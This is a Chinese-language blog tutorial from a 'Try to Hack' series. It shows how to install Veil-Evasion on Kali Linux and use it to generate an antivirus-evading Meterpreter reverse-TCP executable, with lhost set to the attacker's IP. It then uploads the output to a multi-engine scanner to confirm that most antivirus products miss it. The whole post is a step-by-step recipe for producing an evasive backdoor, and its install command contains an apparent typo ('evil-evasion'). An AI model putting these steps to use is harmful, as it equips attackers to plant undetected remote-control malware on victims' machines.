【Try to Hack】veil-evasion免杀

博客主页：开心星人的博客主页
系列专栏：Try to Hack
欢迎关注点赞收藏️留言
首发时间：2022年6月27日
作者水平很有限，如果发现错误，还望告知，感谢！

安装

kali没有自带
apt-get install evil-evasion
安装时间挺久的，耐心等待

双击进入


直接回车了

veil-evasion的使用需要python、pywin32、pycrypto和ruby的支持。所以会依次安装这四个软件

全部next

全部next

全部next


一路默认选项

安装完毕了
veil

有错误
按照它提示的命令来
/usr/share/veil/config/setup.sh --force --silent

ok,成功了

生成免杀payload

use 1
进入免杀模块

看到一共有41个payload

list
列出全部payload

这里用 (7)c/meterpreter/rev_tcp.py
use 7

可以看到required options

和metasploit类似
set lhost 192.168.88.132 设置为kali本机的ip

generate
生成payload

为payload起个名字为hello

免杀的被控端程序所在位置/var/lib/veil/output/compiled/hello.exe

去看下

检测是否可以绕过杀软

https://www.virscan.org/

这是集成了大量杀毒软件的在线网站

可以看到效果还是可以的，绕过了绝大部分的杀软